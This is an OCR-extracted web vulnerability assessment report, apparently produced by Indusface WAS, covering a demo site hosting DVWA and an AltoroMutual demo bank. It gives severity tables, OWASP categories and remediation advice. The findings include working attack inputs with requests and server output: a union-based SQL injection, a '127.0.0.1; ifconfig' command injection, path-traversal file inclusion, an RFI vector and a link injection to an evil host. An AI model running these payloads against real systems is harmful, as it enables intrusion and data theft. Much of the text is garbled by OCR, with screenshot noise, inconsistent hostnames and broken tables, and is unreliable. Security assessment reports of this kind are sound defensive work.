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1. The entire test by automated scan was carried out with no prior knowledge of the systems and applications.

2. Indusface WAS does not carry out any DOS attacks and makes best effort to not run any exploits which can affect
system vulnerability.

3. Manual Pen-Testing was done on 27th June 2017. Scope of Manual PT is to report only one instance of a type of
vulnerability and does not cover identification of all instances of every vulnerability.

Scope
Application Audit for URL http://demol.indussecure.com/

Confidentiality

This document contains sensitive and/or confidential information, do not distribute, email, fax or transfer via any electronic
mechanism without proper authorization. Information contained with in this document should be handled with appropriate
caution. While reasonable attempts have been made to confirm the accuracy of the data contained herein, Indusface WAS,
assumes no liability for the completeness, use of, or conclusions drawn from such data.

Disclaimer

This, or any other, Security Audit cannot and does not guarantee security. Indusface WAS makes no warranty or claim of
any kind, whatsoever, about the accuracy or usefulness of any information provided herein. By using this information you
agree that Indusface WAS shall be held harmless in any event. Indusface WAS makes this information available solely

under its Terms of Service Agreement published at was.indusface.com.


http://demo1.indussecure.com/
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Vulnerability Details

No of Places

Title Found No of Instances
Sensitive Form Is Vulnerable To CSRF 1 1
Session Cookie Manipulation 1 3
Cookie Overly Broad Path Detected 1 5
Remote File Inclusion (RFI) 1 1
SQL Injection 2 2
0S Command Injection 1 1
Possible Blind SQL Injection 1 1
Local File Inclusion (LFI) 1 1
URL Injection 1 1
HTML Form Without CSRF Protection 5 5
Web Administration Login Page Detected 1 1
Sensitive Form Data Submitted In Cleartext 1 7
Password Field Submitted Using GET Method 1 1
Invalid TLS/SSL Server Certificate 1 1
Possible Physical Path Disclosure 2 10
Source Code Disclosure 5 6
Suspicious HTML Comments Detected 5 5
Sensitive HTML Form Fields With auto-complete Enabled 1 10
Web Server Version Disclosure 1 2
WebDAV Extensions Are Enabled 1 1
Application Error Message 6 6
Missing HSTS Header 1 1
HTTP Basic Authentication Enabled 1 1
Insecure Content Security Policy (CSP)/X-Frame-Options 10 10
HTTP OPTIONS Method Enabled 1 1
Cross-Site Scripting (XSS) 8 8

OWASP Summary:

OWASP Category Vulnerability Title ::uzfdPlaces No of Instances Severity

A1l: Injection Remote File Inclusion (RFI) 1 1 Critical

A1l: Injection SQL Injection 2 2 Critical



A1l: Injection
A1l: Injection
A1l: Injection

A1l: Injection

A1l: Injection

A1l: Injection

A2: Broken Authentication

A3: Senstive Data Exposure

A3: Senstive Data Exposure

A3: Senstive Data Exposure

A3: Senstive Data Exposure

A3: Senstive Data Exposure

A3: Senstive Data Exposure

A3: Senstive Data Exposure

A3: Senstive Data Exposure

A6: Security
Misconfiguration

A6: Security
Misconfiguration

A6: Security
Misconfiguration

A6: Security
Misconfiguration

A6: Security
Misconfiguration

A7: Cross-Site Scripting

OS Command Injection
Possible Blind SQL Injection
Local File Inclusion (LFI)
URL Injection

HTML Form Without CSRF
Protection

Web Administration Login
Page Detected

Sensitive Form Data
Submitted In Cleartext

Password Field Submitted
Using GET Method

Invalid TLS/SSL Server
Certificate

Possible Physical Path
Disclosure

Source Code Disclosure

Suspicious HTML Comments
Detected

Sensitive HTML Form Fields
With auto-complete Enabled

Web Server Version
Disclosure

WebDAV Extensions Are
Enabled

Application Error Message

Missing HSTS Header
HTTP Basic Authentication

Enabled

Insecure Content Security
Policy (CSP)/X-Frame-
Options

HTTP OPTIONS Method
Enabled

Cross-Site Scripting (XSS)
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10
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Remediation Summary:

Vulnerable Area
URI
Cookies

Form Encoded Post

HTTPHeaders
Untampered HTTP Request

URI Query Parameters
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Detailed Report:

Al: Injection

1 :: Remote File Inclusion (RFI)

Vul Type: Remote File Inclusion (RFI) No of Places Found: 1
CVSS Score: 9.8 No of Instances Reported: 1
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE : CWE-94: Improper Control of Generation of Code ('Code Injection')

Severity: Critical

Malicious file execution vulnerabilities are found in many applications. Developers will often d
irectly use or concatenate potentially hostile input with file or stream functions, or improperly
trust input files. On many platforms, frameworks allow the use of external object references,
Description: such as URLs or file system references. When the data is insufficiently checked, this can lead
to arbitrary remote and hostile content being included, processed or invoked by the Web ser

Ver.

This is one of the flaws under the category of Injection, in the OWASP Top Ten.

Fix The Vulnerable Script

Preventing remote file execution flaws requires careful planning at the architectural and desi
gh phases, as well as thorough testing. In general, a well-written application will not incorpor
Solution: ate user-supplied input in file names for server-based resources such as images, XML and X
SL transformation documents, or script inclusions. Also, the application will include firewall rul
es to prevent new outbound connections to the Internet or internal connections back to any o

ther server.

Reference: https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution https://www.owasp
: .org/index.php/Top_10_2010-A1
Vulnerability Details:

Remote File Inclusion (RFI) found in http://demol.indussecure.com/do
wnload.php?file=/resources/downloads/brochures/oracle/kpit-oracle-s
olutions-overview.pdf

;l[l;lque Alert First Found Date Parameter URI
http://demol.indussecure.com/downloa
?file=
1 598485 8th January 2020 file d.php?file=/resources/downloads/brochu

res/oracle/kpit-oracle-solutions-overvie
w.pdf



Attack Variant :: file
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http://demo1l.indussecure.com/download.php?file=/resources/downloads/brochures/oracle/kpit-oracle-solutions-overvie
w.pdf

Vector:
http://demo1l.indussecure.com/rfi.txt?

Request:
GET /download.php?file=demo1l.indussecure.com/rfi.txt? HTTP/1.1

Host: kpit.com

Content-Type: application/x-www-form-urlencoded

Result:

Line No:20 <b>Warning</b>: Cannot modify header information ...
Line No:21

Line No:22

2 :: SQL Injection

Vul Type: SQL Injection No of Places Found: 2

CVSS Score: 9.8 No of Instances Reported: 2

CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE : CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injecti

) on')

Severity: Critical
Web applications that do not properly sanitize user input before passing it to a database syst

Description: em are vulnerable to SQL injection. This type of attack potentially allows a malicious user to
recover and/or modify any data that the application has access to.
SQL Injection can be protected by, 1.sanitizing all user-submitted data via input validate func
tions to defend common source of SQL Injection. 2.using prepared statements with paramete

Solution: rized queries as a strong control to mitigate SQL attacks by ensuring the SQL interpreter alw

) ays differentiates between code and data. 3.implementing stored procedures safely by avoidi

ng dynamic SQL generation inside. 4.using appropriate privileges and follow ‘Principle of leas
e privilege’ to minimize the potential damage of a successful SQL attacks.

Reference: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet https://www.w3sc

hools.com/sql/sql_injection.asp https://www.hacksplaining.com/prevention/sql-injection

Vulnerability Details:

SQL Injection found in http://demol.indussecure.com

Unique Alert ID First Found Date URI

1 607087 8th January 2020 http://demol.indussecure.com

Injected URL:
http://demol.indussecure.com

Vector:



Request:

GET /manager/htm| HTTP/1.1
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Cookie: JSESSIONID=E92B0OAC83D9CD56371CCB87A4BA28D81

Referer: http://demol.indussecure.com:8080/jsp/home.jsp

Result:

Remote Certificate Name Mismatch

POC Details :
POC 1: SQL Injection

&« c @

AltoroMutual »

® Pjldemu1.indussecure.ccm:lugim.jsp I B = @ ¥y

Sign In | Contact Us | Feedback | Search

I§ 2P 2

& ONLINE BANKING LOGIN

PERSONAL SMALL BUSINESS | INSIDE ALTORO MUTUAL

EERSONAL
= Deposit Product
s Checking
s Loan Products
» Cards

= Investments & Insurance

= Other Services

SMALL BUSINESS

= Deposit Products
» Lending Services
» Cards

= Insurance

= Retirement

» Other Services.

INSIDE ALTORO MUTUAL

= Investor Relstions
® Press Room
» Careers

» Subscribe

SQL Injection fou
nerabilities/sqli/
mit=Submit

Unique Alert ID

P 1 1491048

Injected URL:

Online Banking Login

Syntax error: Encountered "and" at line 1, column 47. |

Login

in http://demol.indussecure.com/DVWA-1.0.8/vul

nd
2id=1%27+union+select+null%2Cversion()%23&Sub

First Found Date URI

http://demo1l.indussecure.com/DVWA-1.0.8/vulnerabil
4th June 2018 ities/sqli/?id=1%27+union+select+null%2Cversion()%
23&Submit=Submit

http://demo1l.indussecure.com/DVWA-1.0.8/vulnerabilities/sqli/?id=1%27+union+select+null%2Cversion()%23&Submit=

Submit

POC Details :
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POC 1: Observe in the screenshot, application server is vulnerable to SQL Injection attack

€ t soniall.indussecure.com/DVIVA rulnerabilities/sqli/7id=1"+union+ select+ null %2Cversion() %23&Submit=Submit# l ee | @ |[Q

wBEe 4+ AD e E& 6 & -
@pisable~ KCookiesw # €55~ [JForms> Mlmages~ @information~ [ElMiscellaneous~ #Outline™ ¢ Resize A Tools> BlView Source™ [11|Options™ < ¢Q

= Vulnerability: SQL Injection
Instructions User ID:

Setup

Brute Force
‘Command Execution
% CSRF
Insecure CAPTCHA
File Inclusion
 soLinjection |
SQL Injection (Blind) More info
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

null,version()§

n,

11, version()#
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3 :: OS Command Injection

Vul Type: 0S Command Injection No of Places Found: 1
CVSS Score: 9.8 No of Instances Reported: 1
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE : CWE-20: Improper Input Validation

Severity: Critical

An OS command injection vulnerability occurs when a developer uses invalidated user contro

lled parameters to execute operating system commands. OS command injection vulnerabiliti

Description: .
P es allow attackers to run arbitrary commands on the remote server.

This is one of the flaws under the category of Code Injection, in the OWASP Top Ten.

Fix The Vulnerable Script

Ensure that the script properly validates user input before passing it to the Operating System

for execution.

Solution:
Usually a developer can avoid this type of vulnerability by using existing APIs rather than sys
tem calls (i.e. use javax.mail.* rather than invoking Runtime.exec() for sending mail).
Reference: http://www.owasp.org/index.php/OS_Command_Injection http://www.owasp.org/index.php/

Testing_for_Command_Injection_%280WASP-DV-013%29

Vulnerability Details:

OS Command Injection found in http://demol.indussecure.com//DVWA
-1.0.8/vulnerabilities/exec/

Unique Alert ID First Found Date URI

http://demol.indussecure.com//DVWA-1.0.8/vulnerabi

P 1 1491057 4th June 2018 o
lities/exec/

Injected URL:
http://demol.indussecure.com//DVWA-1.0.8/vulnerabilities/exec/

Vector:
127.0.0.1%3B+ifconfig

POC Details :
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POC 1: Observe in the screenshot application is vulnerable to Command Injection Attack

€ {5:[ sonial0.indussecure.com/DVWA-1.0 8 /vulnerabilities/exec/#

Elme Search wiBe 3+ A O

@Disabler & Cookiesw »# €55 [AForms~ Eimages @hnformation™ [[Miscellaneous™ # Outline™ ¢ Resizew & Tools™ [@View Source™ [1]Options™

Home
Instructions
Setup

Brute Force |

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

[
CSRF
Insecure CAPTCHA
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XS5 reflected
XSS stored

DVWA Security
PHP Info
About

Logout

127.0.0.1; ifconfigl | submit

64 bytes from
64 bytes from

o_!
0.0.1: icmp_seq=3 ttl=64 time=0.034 ms

--- 127.0.0.1 ping statistics ---

3 packsts transmitted, 3 received, 0% packst loss, time 199%ms
ret min/avg/max/mdev = 0.029/0.032/0.035/0.007 ms

eth0:

ff:fe6d:a

prefizlen 64 scopeid 0x20

EX packets

BX errors
TX packets
TX errors 0

netmask 255.0.0.0
ixlen 128 scopeid 0x10

EX packets 12 bytes 1
BX errors 0 dropped 0
TX packets 12 bytes 1
TX errors 0 dropped 0 ows

s 0 carrier 0 collisions 0

4 :: Possible Blind SQL Injection

Vul Type:
CVSS Score:

CVSS Vector:

CWE :

Severity:

Description:

Solution:

Reference:

etmask 255.255.255.0 broadcast 172.16.1.255

T e e ¢ » - =

.

Possible Blind SQL Injection No of Places Found: 1

7.3 No of Instances Reported: 1
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injecti
on')

Critical

Web applications usually store information in a SQL server in order to, for example, show the
m to other users. When the application developer uses unvalidated user controlled variables
as part of a SQL query; a SQL injection or Blind SQL injection vulnerability is being introduce

d into the application.

When an attacker executes SQL Injection attacks, sometimes the server responds with error
messages from the database server complaining that the SQL Query's syntax is incorrect. Bli
nd SQL injection is identical to normal SQL Injections except that when an attacker attempts

to exploit an application, rather then getting a potentially useful error message, they get a ge
neric page specified by the developer instead. This makes exploiting a potential Blind SQL Inj
ection attack more difficult but not impossible. An attacker can still retrieve valuable informat
ion and potentially execute operating system commands by asking a series of True and False

questions through SQL statements.

Fix Blind SQL Injection
Ensure that the Web application validates and encodes user input before using itin a SQL qu

ery.

http://www.owasp.org/index.php/Blind_SQL_Injection http://en.wikipedia.org/wiki/SQL_injec
tion
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Possible Blind SQL Injection found in http://demol.indussecure.com/D
VWA-1.0.8/vulnerabilities/sqli_blind/?id=1%27+union+select+null%2
Cversion()%23&Submit=Submit

Unique Alert ID First Found Date URI

Vulnerability Details:

http://demo1l.indussecure.com/DVWA-1.0.8/vulnerabil
P 1 1491045 4th June 2018 ities/sqgli_blind/?id=1%27+union+select+null%2Cversi
on()%23&Submit=Submit

Injected URL:
http://demo1l.indussecure.com/DVWA-1.0.8/vulnerabilities/sqli_blind/?id=1%27+union+select+null%2Cversion()%23&Su
bmit=Submit

Vector:
1%27+union+select+null%?2Cversion()%23

POC Details :

POC 1: Observe in the screenshot, application is vulnerable to Blind SQL Injection attack

@®|| sonial0.indussecure.com/DVWA-L08/vulnerabilities/sqli_blind/Zid=1"+union+select=null%2Cversion ) %23&Submit=Submits | e | & || Q Seorch B ¥+ & O 9 & 6 =»|- =
| :
-

@Disablew LCookies~ €55+ [AForms™ Elmages™ @Information~ [EMiscellaneous™ # Outline™ # Resize™ Tools~ [BView Source™ [[]Options~™ &

|

i Vulnerability: SQL Injection (Blind)
Instructions User ID:

Setup

I Brute Force : 10 union select null,version()#
Command Execution First name: o
CSRF
] nion select null,version()#
Insecure CAPTCHA First name:
Surname: 5.6.30
File Inclusi |
SQL Injection
LT More info
Upload
X55 reflected
XSS stored

DVWA Security
PHP Info
About

Logout i

m
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5 :: Local File Inclusion (LFI)

Vul Type:
CVSS Score:
CVSS Vector:
CWE :

Severity:

Description:

Solution:

Reference:

Local File Inclusion (LFI) No of Places Found: 1
7.3 No of Instances Reported: 1
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal')

High

This script is possibly vulnerable to file inclusion attacks. It seems that this script includes a fi
le which name is determined using user-supplied data. This data is not properly validated bef

ore being passed to the include function.

Edit the source code to ensure that input is properly validated. Where is possible, it is recom
mended to make a list of accepted filenames and restrict the input to that list. For PHP, the o
ption allow_url_fopen would normally allow a programmer to open, include or otherwise use
a remote file using a URL rather than a local file path. It is recommended to disable this optio

n from php.ini.

http://www.php.net/manual/en/features.remote-files.php http://www.theserverpages.com/10
101/21/ http://www.owasp.org/index.php/PHP_Top_5

Vulnerability Details:

Local File Inclusion (LFI) found in http://demol.indussecure.com/DVW
A-1.0.8/vulnerabilities/fi/?page=.././../phpinfo.php

Unique Alert ID First Found Date URI

P 1 1491050

Injected URL:

http://demo1l.indussecure.com/DVWA-1.0.8/vulnerabil

4th June 2018 ities/fi/?page=.././../phpinfo.php

http://demo1l.indussecure.com/DVWA-1.0.8/vulnerabilities/fi/?page=.././../phpinfo.php

Vector:
.././../phpinfo.php

POC Details :



POC 1:

€ o Lzcrv|alG‘\ndussa:urE‘cnm"D'ﬁ'\.‘A-l.GE"‘.u\nErab\hl\EL'ﬁ"?pagE:

/phpinfo.php |_

Observe in the screenshot, local file is included from the server

Edme || Q Search

@Disablew LCookies~ €55+ [AForms™ Elmages™ @Information~ [EMiscellaneous™ # Outline™ # Resize™ Tools~ [BView Source™ [[]Options~™

wBe ¥ A9 e e -
L

System Lincip-172-16-1-7 3.10.0-027.13.1.€17.xB5_64 21 SMP Thu Mar 31 16:04:38 UTC 2010 xB5 04
Build Date May 12016 11:0748
Server APl Apache 2.0 Handler
Virtual Directory | =nabled

Support

Configuration [ /et

File (php.ini)

Path

Loaded Jetciphp i
Configuration

File

h Additional ini i, i, 3
files parsed Jetolphp-zts.difileinfo.ini, feto/php-ats.d/ftp.ini, felciphp-zis.d in, ietciphp-2is digme.ini, fetolphe-2ts. 0
- e N o

215, dipdo.in, /etelphp-zts.d/pdo_mysalini, /stelphp-2ts.dipde._saliiein, /ete/php-zts.d/phar. in, fete/php-2is dlshmag.ini,
215, dtxmini, feto/php-2ts. dizip.ini

PHP A1 2012113

PHP Extension | 20121212

Zend Extension (220121212

Zend Extension | APIZZ0121212TS

Build

PHP Extension | ARI20121212.78

Build

Debug Build  [no

N
E

™
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Vul Type: URL Injection No of Places Found: 1

CVSS Score: 5.4 No of Instances Reported: 1

CWE :

Solution:

CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting
P
Severity: High

Link Injection is the act of modifying the content of a site by embedding in it a URL to an exte
rnal site, or to a script in the vulnerable site. By embedding a URL in the vulnerable site, an a
ttacker is then able to use it as a platform to launch attacks against other sites, as well as ag
ainst the vulnerable site itself. Some of these possible attacks require the user to be logged i
n to the site during the attack. By launching these attacks from the vulnerable site itself the a
ttacker increases the chances of success, because the user is more likely to be logged in. Th
e Link Injection vulnerability is a result of insufficient user input sanitation, which is later retu
rned to the user in the site response. The ability to inject hazardous characters into the respo
nse makes it possible for attackers to embed URLs, among other possible content modificatio
ns.

Description:

"Create a white-list of characters needed by the application. Once this white-list is ready the

application should disallow all requests containing any other character apart from the white-li
st. The application should not accept any script, special characters, html in fields whenever n
ot required. It should escape the special characters that may prove to be harmful. Following

are some of the main characters used in scripts that must be escaped: < > () '""" /\ *; =

{3} (back tick) % + ~! - \x00-\x20 (x is hexadecimal notation) [Includes Space, Tab, Carri
age Return, Line Feed] The characters can be escaped as per the list available at this link: ht
tp://www.theukwebdesigncompany.com/articles/entity-escape-characters.php”

Vulnerability Details:

URL Injection found in http://demol.indussecure.com/DVWA-1.0.8/

Unique Alert ID First Found Date URI

P 1 1491040 4th June 2018 http://demo1l.indussecure.com/DVWA-1.0.8/

Injected URL:
http://demo1l.indussecure.com/DVWA-1.0.8/

POC Details :

POC 1: Observe in the screenshot, application Link injection script is added in the parameter

Raw | Params | Headers | Hex
GET /D‘IWJI:L.D.E/VulnE:a]:lll:lEs/xssir/ ?na.l\'\E1JUUS”IM.’a‘iZDlu:Ef‘fZD="h\:\:1::/'/'Evll.c‘:m"‘,'cllc}\‘mef:/azv |HTTP/1. 1 A
Host: 34.205.135.2

Ussr-Agsnt: Mozilla/S.0 (Windows NT 6.1; WOWE4: rv:S4.0) Gecko/20100101 Firefox/54.0
: text/html,application/xheml+xml, application/xml;q=0.8,*/*; q=0.8

-Encoding: gzip, deflate
http://34.205.135.2/DVWA-1.0.8/vulnerabilitiss/xss_r/ ?naws=3008
e: security=low; PHPSESSID=bredSSplsSadtSamcTqSfccéeTl

Connsction: kesp-alive

Upgrade-TInsecurs-Requests: 1
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POC 2: Screenshot shows that the script is accepted at the server end and malicious link is created in the

application

€) ®f 34205.1352/0VWA 103 /vulnerabilities/sss 1/ Tname 1009 | P Search wBa 3+ @ 0 8 & » - =

@Disable> &Cookiesw 2 €SS [dForms~ Elmages~ @Information~ [EMiscellaneous~ # Outline~ ¢“Resizew &Tools~ @lView Source™ [|Options™ s 7Q

|

i Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions

Setup What's your name?

BrueForce |
M Helld jOO8™ i
e =
(nsecure CAPTCHA | More info
QL Injoction (Blind) |
Upoad |
== ]
xssstored |

DVWA Security
PHP Info
About

wilcom Logowt | a

= T —  — i T ——=

.

7 :: HTML Form Without CSRF Protection

Vul Type: HTML Form Without CSRF Protection No of Places Found: 5
CVSS Score: 5.3 No of Instances Reported: 5
CVSS Vector: CVSS:3.0#AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE : CWE-2: 7PK - Environment

Severity:

Cross-Site Request Forgery (CSRF/XSRF) is a vulnerability where attacker tricks victim into
making a request victim did not make. So, attacker abuses the trust a web application has wi

Description: th a victim's browser. Mostly the HTML forms submitted have CSRF tokens embedded in the
m while submitting the request. If a form is without this preventive measure enabled then it's
very much prone to CSRF attacks and other dependent attacks

Make sure the form in use has CSRF preventive measures included and suggested approach

Solution: is to use an anti-CSRF token embedded into the HTML forms.

https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET https://cwe.mitre.org/data/d

Reference: efinitions/352.html

Vulnerability Details:

HTML Form Without CSRF Protection found in GET-demol.indussecure.c
om/ /feedback.jsp

Unique Alert ID First Found Date URI

1 2179780 8th January 2020 http://demo1l.indussecure.com//feedback.jsp

Injected URL:
http://demo1l.indussecure.com//feedback.jsp



j
Request:

GET //feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:24:40 GMT
connection: close

Result:
Following page has html form without csrf protection in it: http://demol.indussecure.com//feedback.jsp

HTML Form Without CSRF Protection found in GET-demo1l.indussecure.c
om//login.jsp

Unique Alert ID First Found Date URI

1 2179783 8th January 2020 http://demol.indussecure.com//login.jsp

Injected URL:
http://demol.indussecure.com//login.jsp

Request:

GET //login.jsp HTTP/1.1

Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Origin: http:\/\/demo1l.indussecure.com

Referer: http:\/\/demo1l.indussecure.com\/\/login.jsp

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demo1l.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:26:30 GMT
connection:close

Result:
Following page has html form without csrf protection in it: http://demol.indussecure.com//login.jsp

HTML Form Without CSRF Protection found in GET-demol.indussecure.c
om/admin
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1 2179786 8th January 2020 http://demo1l.indussecure.com/admin/

Unique Alert ID First Found Date URI

Injected URL:
http://demo1l.indussecure.com/admin/

Request:

GET /admin/ HTTP/1.1

Accept: text\/html,application\/xhtmIl+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:29:10 GMT
connection:close

Result:
Following page has html form without csrf protection in it: http://demol.indussecure.com/admin/

HTML Form Without CSRF Protection found in GET-demol.indussecure.c
om/login.jsp

Unique Alert ID First Found Date URI

1 2179787 8th January 2020 http://demol.indussecure.com/login.jsp

Injected URL:
http://demo1l.indussecure.com/login.jsp

Request:

GET /login.jsp HTTP/1.1

Accept: text\/html,application\/xhtmIl+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:29:10 GMT
connection:close
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Following page has html form without csrf protection in it: http://demol.indussecure.com/login.jsp

HTML Form Without CSRF Protection found in GET-demol.indussecure.c
om/feedback.jsp

Unique Alert ID First Found Date URI

1 2179788 8th January 2020 http://demo1l.indussecure.com/feedback.jsp

Injected URL:
http://demo1l.indussecure.com/feedback.jsp

Request:

GET /feedback.jsp HTTP/1.1

Accept: text\/html,application\/xhtmIl+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:29:39 GMT
connection:close

Result:
Following page has html form without csrf protection in it: http://demol.indussecure.com/feedback.jsp

8 :: Web Administration Login Page Detected

Vul Type: Web Administration Login Page Detected No of Places Found: 1
CVSS Score: 3.7 No of Instances Reported: 1
CVSS Vector: CVSS:3.0#AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE : CWE-2: 7PK - Environment

Severity: Low

An applications can be configured & controlled by an administrators who can access the admi
n panel through a login page or administration (admin) pages. A remote attacker can target

such admin pages available in public to gain admin access of an application or compromise t
he sites via brute-force attacks, SQL injection, etc.

Description:

Not to keep default names for admin pages such as login etc. Restrict sensitive pages to list

Solution: of fixed ip's only

https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfa

Reference: ces_(OTG-CONFIG-005)

Vulnerability Details:

Web Administration Login Page Detected found in URI
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1 2179810 8th January 2020 / http://demol.indussecure.com/admin/

Unique Alert

ID First Found Date Parameter URI

Attack Variant :: /

Injected URL:
http://demol.indussecure.com/admin/

Vector:
admin/

Request:

POST /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demo1l.indussecure.com

referer: http://demol.indussecure.com/feedback.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

cfile=comments.txt&name=defaultText&email_addr=test%40indusface.com&subject=defaultText&comments=defaultText
&submit=+Submit+

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:39:46 GMT
connection: close

Result:
http://demol.indussecure.com/admin/
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A2: Broken Authentication

9 :: Sensitive Form Data Submitted In Cleartext

Vul Type: Sensitive Form Data Submitted In Cleartext No of Places Found: 1
CVSS Score: 6.5 No of Instances Reported: 7
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE : CWE-16: Configuration

Severity:

A web form contains fields with data that is probably sensitive in nature. This form data is su
Description: bmitted over an unencrypted connection, which could allow hackers to sniff the network and

view the data in plaintext.

Use the HTTPS (HTTP over SSL) protocol to submit sensitive form data

Solution Enable the HTTPS protocol on the server. Change the "action" URL of the form tag to use the
ution:

HTTPS protocol ("https://...") instead of just the HTTP protocol ("http://..."). All sensitive data
should be sent over HTTPS instead of over HTTP.

Vulnerability Details:

Unique Alert ID First Found Date URI

1 1748753 8th January 2020 http://demol.indussecure.com//login.jsp

Injected URL:
http://demo1l.indussecure.com//login.jsp

Request:

GET //login.jsp HTTP/1.1

Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

Origin: http:\/\/demol.indussecure.com

Referer: http:\/\/demo1l.indussecure.com\/\/login.jsp

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:26:30 GMT
connection:close

Result:
The following vulnerable parameters found: passw
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2 1748702 8th January 2020 http://demo1l.indussecure.com/admin/

Unique Alert ID First Found Date URI

Injected URL:
http://demol.indussecure.com/admin/

Request:

GET /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:10 GMT
connection: close

Result:
The following vulnerable parameters found: passw

Unique Alert ID First Found Date URI

3 1748706 8th January 2020 http://demo1l.indussecure.com/login.jsp

